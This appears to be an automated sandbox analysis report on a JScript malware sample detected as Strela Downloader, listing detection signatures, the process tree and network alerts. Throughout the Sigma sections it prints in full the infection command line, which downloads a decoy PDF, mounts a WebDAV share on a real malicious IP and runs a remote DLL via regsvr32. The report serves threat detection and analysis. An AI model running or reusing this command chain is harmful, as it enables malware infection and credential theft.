Edit tour

Windows Analysis Report
25134116771465314533.js

Overview

General Information

Sample name:	25134116771465314533.js
Analysis ID:	1588877
MD5:	83d901e1d50e2e34555e46159de20007
SHA1:	5ab2d1c5780ba1958f619b88dafd70e168927e95
SHA256:	e0fe7195f68b093681712cc6324fe0ac19901c3740e7f734dec5c8cb78c1502a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1216 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5452 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3752 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4148 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6500 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1732,i,6973997051759037441,4806411835877973585,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6552 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6512 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5560 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1216	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3752, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3752, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ProcessId: 1216, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6512, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 5452, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ProcessId: 1216, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5452, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3752, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6512, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5560, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6552, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6512, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25134116771465314533.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1216, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2396299175733.dll, ProcessId: 5452, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:37:44.945958+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:37:47.624030+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:37:44.945958+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 25134116771465314533.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 25134116771465314533.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:37:44 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
